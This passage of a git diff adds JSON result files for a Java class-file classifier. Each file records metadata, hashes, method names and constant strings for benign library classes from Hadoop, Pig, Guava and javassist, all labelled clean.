b/java_classification/data/clean/1d550666c1fc961cf1c45236d2d623e874f99e7d3ffbb7fce7e89832d88433ff.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "IFile.java", "class_name": "org/apache/hadoop/mapred/IFile", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": [""], "minor_version": 0, "const_pool_count": 30}}, "_id": "90c21804-9632-41fa-bcf8-ac9cc10c4b61", "metadata": {"mimetype": "application/x-java-applet", "sha1": "af040fc6698dc41238f8a036d1298670c5c0c54d", "file_name": "java_clean/1d550666c1fc961cf1c45236d2d623e874f99e7d3ffbb7fce7e89832d88433ff", "_id": "90c21804-9632-41fa-bcf8-ac9cc10c4b61", "score": 0, "entropy": 5.127833497064939, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 567, "ssdeep": "12:zF9yBSDQulPsobOXLH0OXLORtwOXLhSOXLVSOXLGmX+OqJfm2/bKs:YyQuljbMH0MOEMhSMVSMGgJqVH/b3", "sha256": "1d550666c1fc961cf1c45236d2d623e874f99e7d3ffbb7fce7e89832d88433ff", "md5": "b5e7328918e0ff3526aea0e74888099d", "parent_sha256": "1d550666c1fc961cf1c45236d2d623e874f99e7d3ffbb7fce7e89832d88433ff"}} \ No newline at end of file diff --git a/java_classification/data/clean/1e2450e55ed5215eda63c55a20fbeab2a5c858dc417fedc4c8ee46c911e0d3a7.results b/java_classification/data/clean/1e2450e55ed5215eda63c55a20fbeab2a5c858dc417fedc4c8ee46c911e0d3a7.results new file mode 100755 index 0000000..65571f9 --- /dev/null +++ b/java_classification/data/clean/1e2450e55ed5215eda63c55a20fbeab2a5c858dc417fedc4c8ee46c911e0d3a7.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "BasicBlock.java", "class_name": "javassist/bytecode/stackmap/BasicBlock$Catch", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": [""], "minor_version": 0, "const_pool_count": 35}}, "_id": "e54e4a3a-5741-4305-9ace-b844c4fb3d11", "metadata": {"mimetype": "application/x-java-applet", "sha1": "39f49a392267555f5cbf0cb5601469a23239e657", "file_name": "java_clean/1e2450e55ed5215eda63c55a20fbeab2a5c858dc417fedc4c8ee46c911e0d3a7", "_id": "e54e4a3a-5741-4305-9ace-b844c4fb3d11", "score": 0, "entropy": 5.094859667333329, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 699, "ssdeep": "12:S/8seaE7iM+EmICaM+EoDEtM+ETzM+ErulPsoLNM+EKRrM+Ea1I5aC+MUEHHkV:S/8spS+cC/+pYe+5+AuljC+v6+xM+M9W", "sha256": "1e2450e55ed5215eda63c55a20fbeab2a5c858dc417fedc4c8ee46c911e0d3a7", "md5": "8ada963c3f2bff7385ff10ccff77c926", "parent_sha256": "1e2450e55ed5215eda63c55a20fbeab2a5c858dc417fedc4c8ee46c911e0d3a7"}} \ No newline at end of file diff --git a/java_classification/data/clean/1e8eafe5a8abc2bb6824b886b13aa12cc9226aabdd85c9cf4b06ae9392b05a92.results b/java_classification/data/clean/1e8eafe5a8abc2bb6824b886b13aa12cc9226aabdd85c9cf4b06ae9392b05a92.results new file mode 100755 index 0000000..81d3a22 --- /dev/null +++ b/java_classification/data/clean/1e8eafe5a8abc2bb6824b886b13aa12cc9226aabdd85c9cf4b06ae9392b05a92.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "B64Code.java", "class_name": "org/mortbay/util/B64Code", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 46, "method_names": ["", "encode", "encode", "encode", "decode", "decode", "decode", ""], "minor_version": 0, "const_pool_count": 123}}, "_id": "e0ee1463-a5f3-446c-b7b7-08f4774fb27e", "verbose": {"java": {"constant strings": ["Input block size is not 4", "Not B64 encoded", "char ", " was not B64 encoded"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "ab05d8f70ed2ce0eefee230fb0dcb9a78ccec884", "file_name": "java_clean/1e8eafe5a8abc2bb6824b886b13aa12cc9226aabdd85c9cf4b06ae9392b05a92", "_id": "e0ee1463-a5f3-446c-b7b7-08f4774fb27e", "score": 0, "entropy": 5.867544536148297, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 4019, "ssdeep": "96:DFl33w/v4aMDT4on2lDSsc2wHXTc+9GlgF8ec/s7:Zl3g/AaM/4g2lDSs9Af+ec/s7", "sha256": "1e8eafe5a8abc2bb6824b886b13aa12cc9226aabdd85c9cf4b06ae9392b05a92", "md5": "4ee61c5ded0cecd942724301c79d6d49", "parent_sha256": "1e8eafe5a8abc2bb6824b886b13aa12cc9226aabdd85c9cf4b06ae9392b05a92"}} \ No newline at end of file diff --git a/java_classification/data/clean/1e90ccd19043d55617787f9a8cc6d84b0567bbdb20bfa26b5fed7815cace412c.results b/java_classification/data/clean/1e90ccd19043d55617787f9a8cc6d84b0567bbdb20bfa26b5fed7815cace412c.results new file mode 100755 index 0000000..2788dd5 --- /dev/null +++ b/java_classification/data/clean/1e90ccd19043d55617787f9a8cc6d84b0567bbdb20bfa26b5fed7815cace412c.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "CRC.java", "class_name": "org/apache/tools/bzip2r/CRC", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "initialiseCRC", "getFinalCRC", "getGlobalCRC", "setGlobalCRC", "updateCRC", ""], "minor_version": 0, "const_pool_count": 292}}, "_id": "76efc498-15b3-4ce9-b1d3-77e59b6f05ff", "metadata": {"mimetype": "application/x-java-applet", "sha1": "93d655110eeb850f69d5a1daf60f0b6a23e0b50a", "file_name": "java_clean/1e90ccd19043d55617787f9a8cc6d84b0567bbdb20bfa26b5fed7815cace412c", "_id": "76efc498-15b3-4ce9-b1d3-77e59b6f05ff", "score": 0, "entropy": 6.380065639524725, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3872, "ssdeep": "48:NxVZirsi6oNcUImqO4rFnzYyFl+vLfh4wkh8eCvtPHMNhHdLda:KrshKcNTp9zpFlQfOBqBvZHihHTa", "sha256": "1e90ccd19043d55617787f9a8cc6d84b0567bbdb20bfa26b5fed7815cace412c", "md5": "8d7fbab356c5c532b5158316e16fa453", "parent_sha256": "1e90ccd19043d55617787f9a8cc6d84b0567bbdb20bfa26b5fed7815cace412c"}} \ No newline at end of file diff --git a/java_classification/data/clean/1ea1d4d7b639f3086ee053ccda5f604e3351c75b361580288429f928a91636cf.results b/java_classification/data/clean/1ea1d4d7b639f3086ee053ccda5f604e3351c75b361580288429f928a91636cf.results new file mode 100755 index 0000000..58f0931 --- /dev/null +++ b/java_classification/data/clean/1ea1d4d7b639f3086ee053ccda5f604e3351c75b361580288429f928a91636cf.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "HttpUtils.java", "class_name": "javax/servlet/http/HttpUtils", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "", "getRequestURL", "parseName", "parsePostData", "parseQueryString"], "minor_version": 3, "const_pool_count": 223}}, "_id": "777633ea-ca26-4497-b43b-4c89bdc429e6", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"signatures": {"java": "rot0"}, "base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "http"}}}, "constant strings": ["&", "8859_1", "://", "err.io.short_read", "http", "https", "javax.servlet.http.LocalStrings"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "5cd1bdc623a27cb8cdf9958206d2c1f489a29dc0", "file_name": "java_clean/1ea1d4d7b639f3086ee053ccda5f604e3351c75b361580288429f928a91636cf", "_id": "777633ea-ca26-4497-b43b-4c89bdc429e6", "score": 0, "entropy": 5.818639181604064, "libmagic": "compiled Java class data, version 45.3", "file_size": 4443, "ssdeep": "48:nscNL+kK2VZ5SZfpBpB69bt5lpk9vU/m1YbFhlCbwtznhRy4c6ZhVjWLZqIIYyid:nscJgoli1CFhlCTe3QLZqxiGOuNve", "sha256": "1ea1d4d7b639f3086ee053ccda5f604e3351c75b361580288429f928a91636cf", "md5": "69e69d85e1b97a1708a047d5f7e54023", "parent_sha256": "1ea1d4d7b639f3086ee053ccda5f604e3351c75b361580288429f928a91636cf"}} \ No newline at end of file diff --git a/java_classification/data/clean/1f45c1a296863ca8335d2246c8eba4835a1c1f8beaa2dff69b9b88f510af7b61.results b/java_classification/data/clean/1f45c1a296863ca8335d2246c8eba4835a1c1f8beaa2dff69b9b88f510af7b61.results new file mode 100755 index 0000000..bca8b25 --- /dev/null +++ b/java_classification/data/clean/1f45c1a296863ca8335d2246c8eba4835a1c1f8beaa2dff69b9b88f510af7b61.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Subtract.java", "class_name": "org/apache/pig/backend/hadoop/executionengine/physicalLayer/expressionOperators/Subtract", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "", "visit", "name", "getNext", "getNext", "getNext", "getNext", "clone", "clone", "clone", "clone", "visit"], "minor_version": 0, "const_pool_count": 195}}, "_id": "03a153c1-a745-4df4-92be-4b85305781d9", "verbose": {"java": {"constant strings": ["Subtract[", "]", " - "]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "178b2e0546d6dc70f88cc03e898fc91f6a8be3d7", "file_name": "java_clean/1f45c1a296863ca8335d2246c8eba4835a1c1f8beaa2dff69b9b88f510af7b61", "_id": "03a153c1-a745-4df4-92be-4b85305781d9", "score": 0, "entropy": 5.4445340785546605, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 5477, "ssdeep": "96:yxPbA0lRW5ikH/HsGr+AEeS9udk9GQ88DNQRNFWRF/sd+0E/pN+1+A4MVz:iVlW7px94Uz", "sha256": "1f45c1a296863ca8335d2246c8eba4835a1c1f8beaa2dff69b9b88f510af7b61", "md5": "b057b3c5e689fa373d886f63530ea5a1", "parent_sha256": "1f45c1a296863ca8335d2246c8eba4835a1c1f8beaa2dff69b9b88f510af7b61"}} \ No newline at end of file diff --git a/java_classification/data/clean/1fa03e7cc5c3671f85bfd3499a8097ee949c088b794a9f192c667ac125c77fcb.results b/java_classification/data/clean/1fa03e7cc5c3671f85bfd3499a8097ee949c088b794a9f192c667ac125c77fcb.results new file mode 100755 index 0000000..3eb3575 --- /dev/null +++ b/java_classification/data/clean/1fa03e7cc5c3671f85bfd3499a8097ee949c088b794a9f192c667ac125c77fcb.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/screen/items/LoadSaveScreen$2", "access_permissions": ["ACC_SUPER"], "interfaces": ["hu/openig/core/Action0"], "sourcefile": "LoadSaveScreen.java", "method_names": ["", "invoke"], "minor_version": 0, "const_pool_count": 53}}, "_id": "fdd60f86-d91e-43c1-965c-f5e8027e0dec", "metadata": {"mimetype": "application/x-java-applet", "sha1": "572380c6ef5132beb4bd7b4ddb6f3014b5695007", "file_name": "java_clean/1fa03e7cc5c3671f85bfd3499a8097ee949c088b794a9f192c667ac125c77fcb", "_id": "fdd60f86-d91e-43c1-965c-f5e8027e0dec", "score": 0, "entropy": 5.3209993049994475, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1040, "ssdeep": "24:ZLwOwJL/1IL4U9lj/Lf1L7pVsbjuSZMj7TTM:hwOW/1Q4U9lnF7br3jLM", "sha256": "1fa03e7cc5c3671f85bfd3499a8097ee949c088b794a9f192c667ac125c77fcb", "md5": "cdaa73eca247af6bb9ea9d59060bcc9f", "parent_sha256": "1fa03e7cc5c3671f85bfd3499a8097ee949c088b794a9f192c667ac125c77fcb"}} \ No newline at end of file diff --git a/java_classification/data/clean/1ffd428aab8f0e878a4c27519ca6534124f9617378c2b5e2f07164a2f96efa17.results b/java_classification/data/clean/1ffd428aab8f0e878a4c27519ca6534124f9617378c2b5e2f07164a2f96efa17.results new file mode 100755 index 0000000..e5e30e5 --- /dev/null +++ b/java_classification/data/clean/1ffd428aab8f0e878a4c27519ca6534124f9617378c2b5e2f07164a2f96efa17.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "HashCodes.java", "class_name": "com/google/common/hash/HashCodes$LongHashCode", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "bits", "asBytes", "asInt", "asLong"], "minor_version": 0, "const_pool_count": 32}}, "_id": "5f387305-06f1-4405-8a51-38ec2dc1504a", "metadata": {"mimetype": "application/x-java-applet", "sha1": "1a5e1d8cea3962ee57ced43eed3f1995ba5bcdb0", "file_name": "java_clean/1ffd428aab8f0e878a4c27519ca6534124f9617378c2b5e2f07164a2f96efa17", "_id": "5f387305-06f1-4405-8a51-38ec2dc1504a", "score": 0, "entropy": 4.867469690461825, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 873, "ssdeep": "12:sK4yNqkJulPsoGztmjPrXWxtWjpXRlb8tlH0xEn+Bs+1GEpcPZeJqz4/Sei:4yNfJuljGxkzXnTREVKk+SIpieJiSLi", "sha256": "1ffd428aab8f0e878a4c27519ca6534124f9617378c2b5e2f07164a2f96efa17", "md5": "29299b934d9f94d5a7bda87505021292", "parent_sha256": "1ffd428aab8f0e878a4c27519ca6534124f9617378c2b5e2f07164a2f96efa17"}} \ No newline at end of file diff --git a/java_classification/data/clean/200e4f167015672f8fea399fa076ae3ce556b581b85eb255fe6a5c04ff3a84af.results b/java_classification/data/clean/200e4f167015672f8fea399fa076ae3ce556b581b85eb255fe6a5c04ff3a84af.results new file mode 100755 index 0000000..77ae889 --- /dev/null +++ b/java_classification/data/clean/200e4f167015672f8fea399fa076ae3ce556b581b85eb255fe6a5c04ff3a84af.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "NormalizePathProcessingFunction.java", "class_name": "com/codeminders/hamake/params/NormalizePathProcessingFunction", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "process"], "minor_version": 0, "const_pool_count": 34}}, "_id": "da47655b-ad64-4c10-a06d-efea974a89fa", "verbose": {"java": {"constant strings": ["^[\"]?([A-Z]|[a-z]){1}[\\\\:]{1}([\\\\/]|[\\\\\\\\]){1}.*"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "5de4f8e115e2802b32fb5233398f172cc6781a0f", "file_name": "java_clean/200e4f167015672f8fea399fa076ae3ce556b581b85eb255fe6a5c04ff3a84af", "_id": "da47655b-ad64-4c10-a06d-efea974a89fa", "score": 0, "entropy": 5.348584235996378, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 784, "ssdeep": "24:rSByQuljkMZjU1u6MZjTMuYpuMZjECYZjEiptuMgeXtJx:rSByFlQMy17M5mAMlYZp51/", "sha256": "200e4f167015672f8fea399fa076ae3ce556b581b85eb255fe6a5c04ff3a84af", "md5": "cd61f12befb9d2a373f913bade987846", "parent_sha256": "200e4f167015672f8fea399fa076ae3ce556b581b85eb255fe6a5c04ff3a84af"}} \ No newline at end of file diff --git a/java_classification/data/clean/203001ad14fef2fc494b2d96aaf1dc4dfc7d0af3dca139487d54b2b55a374ca8.results b/java_classification/data/clean/203001ad14fef2fc494b2d96aaf1dc4dfc7d0af3dca139487d54b2b55a374ca8.results new file mode 100755 index 0000000..71ca88c --- /dev/null +++ b/java_classification/data/clean/203001ad14fef2fc494b2d96aaf1dc4dfc7d0af3dca139487d54b2b55a374ca8.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "IntAvg.java", "class_name": "org/apache/pig/builtin/IntAvg$Initial", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "exec", "exec"], "minor_version": 0, "const_pool_count": 129}}, "_id": "2ff98e02-a6d7-44b1-a4dc-67cafd13d394", "verbose": {"java": {"signatures": ["Lorg/apache/pig/EvalFunc;"], "constant strings": ["Error while computing average in "]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e440da9013bfa357820444bacdbe4f0c995ba4da", "file_name": "java_clean/203001ad14fef2fc494b2d96aaf1dc4dfc7d0af3dca139487d54b2b55a374ca8", "_id": "2ff98e02-a6d7-44b1-a4dc-67cafd13d394", "score": 0, "entropy": 5.465630999323603, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2367, "ssdeep": "48:PIPyFlnzrJesIRtGebkvEsQRtuTemtLdBKk+kA3LfIkzUTJPiOavlvZ2:PIqFlzrJesIRgrvElRYTVtLd8k+kAbBG", "sha256": "203001ad14fef2fc494b2d96aaf1dc4dfc7d0af3dca139487d54b2b55a374ca8", "md5": "7fc5bc6fc35119cbabde7c996196e21b", "parent_sha256": "203001ad14fef2fc494b2d96aaf1dc4dfc7d0af3dca139487d54b2b55a374ca8"}} \ No newline at end of file diff --git a/java_classification/data/clean/208f38011fb4e741c1ae3c08594496ed8433aa02d954c9140cf3d5b5175fdacc.results b/java_classification/data/clean/208f38011fb4e741c1ae3c08594496ed8433aa02d954c9140cf3d5b5175fdacc.results new file mode 100755 index 0000000..8ba2113 --- /dev/null +++ b/java_classification/data/clean/208f38011fb4e741c1ae3c08594496ed8433aa02d954c9140cf3d5b5175fdacc.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/collect/StandardTable$Column$Values$1", "access_permissions": ["ACC_SUPER"], "interfaces": ["com/google/common/base/Predicate"], "sourcefile": "StandardTable.java", "method_names": ["", "apply", "apply"], "minor_version": 0, "const_pool_count": 70}}, "_id": "de7285f7-5b5c-47a7-95a8-e0af3e246f86", "verbose": {"java": {"signatures": ["(Ljava/util/Map$Entry;)Z", "Ljava/lang/Object;Lcom/google/common/base/Predicate;>;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "30d894853c28a6ca15271cc4cbbc914ad7d3248f", "file_name": "java_clean/208f38011fb4e741c1ae3c08594496ed8433aa02d954c9140cf3d5b5175fdacc", "_id": "de7285f7-5b5c-47a7-95a8-e0af3e246f86", "score": 0, "entropy": 5.277708291340735, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1679, "ssdeep": "24:rGrSTdRiR6fzulj4cGqNpuxG2xAxr7xrQ5f2xr1X//xbKQJixnrnbMuM87sDby8b:rGG5R49l5KfCX3+nQxws3yc", "sha256": "208f38011fb4e741c1ae3c08594496ed8433aa02d954c9140cf3d5b5175fdacc", "md5": "9e4a054db9b25a37c15393baf97384cb", "parent_sha256": "208f38011fb4e741c1ae3c08594496ed8433aa02d954c9140cf3d5b5175fdacc"}} \ No newline at end of file diff --git a/java_classification/data/clean/2197221b3a11c51f41dce14fff95651acfc6f3671f01560e20b9d6036cdaaa6b.results b/java_classification/data/clean/2197221b3a11c51f41dce14fff95651acfc6f3671f01560e20b9d6036cdaaa6b.results new file mode 100755 index 0000000..76971af --- /dev/null +++ b/java_classification/data/clean/2197221b3a11c51f41dce14fff95651acfc6f3671f01560e20b9d6036cdaaa6b.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/screen/items/BridgeScreen$4", "access_permissions": ["ACC_SUPER"], "interfaces": ["hu/openig/core/SwappableRenderer"], "sourcefile": "BridgeScreen.java", "method_names": ["", "getBackbuffer", "init", "swap"], "minor_version": 0, "const_pool_count": 72}}, "_id": "1c74c264-8f9b-49b9-ac15-52526029f23c", "metadata": {"mimetype": "application/x-java-applet", "sha1": "0fb49758ac085337e099508c0ef77911a558f42c", "file_name": "java_clean/2197221b3a11c51f41dce14fff95651acfc6f3671f01560e20b9d6036cdaaa6b", "_id": "1c74c264-8f9b-49b9-ac15-52526029f23c", "score": 0, "entropy": 5.3271431450981055, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1581, "ssdeep": "24:g1QrB9voIU9ljdpzc0YgNsESI2GKrlc72GK1EW2aEJRbvYPXzcwlQ02t0ZolaWxn:oQV9FU9lsMrG2Vw+JRDYvzkVr17V", "sha256": "2197221b3a11c51f41dce14fff95651acfc6f3671f01560e20b9d6036cdaaa6b", "md5": "32f69ec38ba7714aa2e29d366b19aa4e", "parent_sha256": "2197221b3a11c51f41dce14fff95651acfc6f3671f01560e20b9d6036cdaaa6b"}} \ No newline at end of file diff --git a/java_classification/data/clean/225a99be1d9581d89c0db08a83a7805c7a9b6bfc111397233e8f75d35dde7332.results b/java_classification/data/clean/225a99be1d9581d89c0db08a83a7805c7a9b6bfc111397233e8f75d35dde7332.results new file mode 100755 index 0000000..e25dead --- /dev/null +++ b/java_classification/data/clean/225a99be1d9581d89c0db08a83a7805c7a9b6bfc111397233e8f75d35dde7332.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "org/apache/hadoop/dfs/FSImage$DatanodeImage", "access_permissions": ["ACC_SUPER"], "interfaces": ["org/apache/hadoop/io/Writable"], "sourcefile": "FSImage.java", "method_names": ["", "write", "readFields"], "minor_version": 0, "const_pool_count": 113}}, "_id": "e298bc06-5b74-4c88-ab0c-308d5ecc4c2c", "metadata": {"mimetype": "application/x-java-applet", "sha1": "195aee643c443778d52e45d97d81097b71be60a4", "file_name": "java_clean/225a99be1d9581d89c0db08a83a7805c7a9b6bfc111397233e8f75d35dde7332", "_id": "e298bc06-5b74-4c88-ab0c-308d5ecc4c2c", "score": 0, "entropy": 5.447199321890119, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1876, "ssdeep": "48:/Ixpn3yFl4tTqDPEfo/wtNUTRgjbQCQIYoCFc8:/IxpiFl4seo/wMTAb5QIyH", "sha256": "225a99be1d9581d89c0db08a83a7805c7a9b6bfc111397233e8f75d35dde7332", "md5": "3f6c6a590e06c46f7884040585949690", "parent_sha256": "225a99be1d9581d89c0db08a83a7805c7a9b6bfc111397233e8f75d35dde7332"}} \ No newline at end of file diff --git a/java_classification/data/clean/228c25de8ff65b00c1912be5c888b5fcf5692b3d66c514ab6e2aa68dffbf3a61.results b/java_classification/data/clean/228c25de8ff65b00c1912be5c888b5fcf5692b3d66c514ab6e2aa68dffbf3a61.results new file mode 100755 index 0000000..f28b63f --- /dev/null +++ b/java_classification/data/clean/228c25de8ff65b00c1912be5c888b5fcf5692b3d66c514ab6e2aa68dffbf3a61.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 48, "class_name": "javassist/compiler/MemberResolver", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["javassist/compiler/TokenId"], "sourcefile": "MemberResolver.java", "method_names": ["", "getClassPool", "fatal", "recordPackage", "lookupMethod", "lookupMethod", "compareSignature", "lookupFieldByJvmName2", "lookupFieldByJvmName", "lookupField", "lookupClassByName", "lookupClassByJvmName", "lookupClass", "lookupClass", "getTypeName", "lookupClass", "searchImports", "lookupClass0", "resolveClassName", "resolveJvmClassName", "getSuperclass", "javaToJvmName", "jvmToJavaName", "descToType", "getModifiers"], "minor_version": 0, "const_pool_count": 398}}, "_id": "79b40419-5b5b-434d-b517-0dd215611a8d", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.404888336767106, "obfuscated_data": {"signatures": {"java": "rot0"}, "base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "void"}}}, "constant strings": ["fatal", "java/lang/Object;", "/", "$", "no such field: ", "", "[]", "boolean", "char", "byte", "short", "int", "long", "float", "double", "void", "no such class: ", "cannot find the super class of "]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b14585b43c4d47fee83c01cbec04ba0f8ee912e4", "file_name": "java_clean/228c25de8ff65b00c1912be5c888b5fcf5692b3d66c514ab6e2aa68dffbf3a61", "_id": "79b40419-5b5b-434d-b517-0dd215611a8d", "score": 0, "entropy": 5.684978973978742, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 10897, "ssdeep": "192:9cG6lrUELiDGeyBpod+mJ/czed9LoaDBywPACtJJ19c:76N3iaeyENJNHbPAChc", "sha256": "228c25de8ff65b00c1912be5c888b5fcf5692b3d66c514ab6e2aa68dffbf3a61", "md5": "40de2cd383566ec94809d37a98a18b5d", "parent_sha256": "228c25de8ff65b00c1912be5c888b5fcf5692b3d66c514ab6e2aa68dffbf3a61"}} \ No newline at end of file diff --git a/java_classification/data/clean/22bafa114d1ce6ea13db384b674c887eef5a566c41eb16f6fd5c97c5fa662683.results b/java_classification/data/clean/22bafa114d1ce6ea13db384b674c887eef5a566c41eb16f6fd5c97c5fa662683.results new file mode 100755 index 0000000..96f2b18 --- /dev/null +++ b/java_classification/data/clean/22bafa114d1ce6ea13db384b674c887eef5a566c41eb16f6fd5c97c5fa662683.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "org/apache/pig/backend/hadoop/executionengine/mapReduceLayer/PigInputFormat$1", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "interfaces": ["org/apache/hadoop/fs/PathFilter"], "sourcefile": "PigInputFormat.java", "method_names": ["", "accept"], "minor_version": 0, "const_pool_count": 45}}, "_id": "6f965689-aed1-4566-8e0d-83ceb6aac6ad", "verbose": {"java": {"constant strings": ["_", "."]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "a10048907867de63a0d9de5dddef82bd3f388f35", "file_name": "java_clean/22bafa114d1ce6ea13db384b674c887eef5a566c41eb16f6fd5c97c5fa662683", "_id": "6f965689-aed1-4566-8e0d-83ceb6aac6ad", "score": 0, "entropy": 5.236983655603549, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 945, "ssdeep": "24:bLyQuljRswYVski5xDSw4/VwKwy2niTmzVJ68:fyFl9sLVski50L/KKl228", "sha256": "22bafa114d1ce6ea13db384b674c887eef5a566c41eb16f6fd5c97c5fa662683", "md5": "5a9a13380610a5a2196275d8c2daafbc", "parent_sha256": "22bafa114d1ce6ea13db384b674c887eef5a566c41eb16f6fd5c97c5fa662683"}} \ No newline at end of file diff --git a/java_classification/data/clean/22fcef456c7bc2246419b59bc16c01a110d9ee91f11b2f780aa1f83ceb068501.results b/java_classification/data/clean/22fcef456c7bc2246419b59bc16c01a110d9ee91f11b2f780aa1f83ceb068501.results new file mode 100755 index 0000000..d1a33ba --- /dev/null +++ b/java_classification/data/clean/22fcef456c7bc2246419b59bc16c01a110d9ee91f11b2f780aa1f83ceb068501.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "DefaultAbstractBag.java", "class_name": "org/apache/pig/data/DefaultAbstractBag$EndBag", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": [""], "minor_version": 0, "const_pool_count": 21}}, "_id": "eb5086fd-16dd-4088-a2a0-8449e0703f9f", "metadata": {"mimetype": "application/x-java-applet", "sha1": "b26c64a5f67498a40f9a92cbb5d9fb802daf42b1", "file_name": "java_clean/22fcef456c7bc2246419b59bc16c01a110d9ee91f11b2f780aa1f83ceb068501", "_id": "eb5086fd-16dd-4088-a2a0-8449e0703f9f", "score": 0, "entropy": 5.025723798327868, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 485, "ssdeep": "12:jq4SDQulPso6xhteLCA3srLACA3TKbCA3NhE7YCA3iS/xkEnm:j5yQulj6xbeL1sw1Gb1NheY1p/nm", "sha256": "22fcef456c7bc2246419b59bc16c01a110d9ee91f11b2f780aa1f83ceb068501", "md5": "01b350f3fdb7ec766cb8ecb6fe6d431c", "parent_sha256": "22fcef456c7bc2246419b59bc16c01a110d9ee91f11b2f780aa1f83ceb068501"}} \ No newline at end of file diff --git a/java_classification/data/clean/2377df1a131b03ca09b1dd8a8c17f6184ef5dbadcec49aff1be6e0d2beada9b2.results b/java_classification/data/clean/2377df1a131b03ca09b1dd8a8c17f6184ef5dbadcec49aff1be6e0d2beada9b2.results new file mode 100755 index 0000000..93df972 --- /dev/null +++ b/java_classification/data/clean/2377df1a131b03ca09b1dd8a8c17f6184ef5dbadcec49aff1be6e0d2beada9b2.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "OutputFormat.java", "class_name": "org/apache/hadoop/mapred/OutputFormat", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT"], "major_version": 49, "method_names": ["getRecordWriter", "checkOutputSpecs"], "minor_version": 0, "const_pool_count": 17}}, "_id": "205bc5c4-71a3-4a3d-812e-c088490bca29", "verbose": {"java": {"signatures": ["(Lorg/apache/hadoop/fs/FileSystem;Lorg/apache/hadoop/mapred/JobConf;Ljava/lang/String;Lorg/apache/hadoop/util/Progressable;)Lorg/apache/hadoop/mapred/RecordWriter;", "Ljava/lang/Object;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "6753292f1be8d21eec7ba746245a25f75f136716", "file_name": "java_clean/2377df1a131b03ca09b1dd8a8c17f6184ef5dbadcec49aff1be6e0d2beada9b2", "_id": "205bc5c4-71a3-4a3d-812e-c088490bca29", "score": 0, "entropy": 5.097702948521664, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 745, "ssdeep": "12:nzxo2OXm/MmJrOXUt4o2OXm/MmJrOXU9uzfA2o2OXGpKR/RNIaur2pOX2GRtEEFD:tLDXBsLDXBS7DL5pKF4riQHEtR+", "sha256": "2377df1a131b03ca09b1dd8a8c17f6184ef5dbadcec49aff1be6e0d2beada9b2", "md5": "8d9a581bd4f035b90207dfa1a4cc1f53", "parent_sha256": "2377df1a131b03ca09b1dd8a8c17f6184ef5dbadcec49aff1be6e0d2beada9b2"}} \ No newline at end of file diff --git 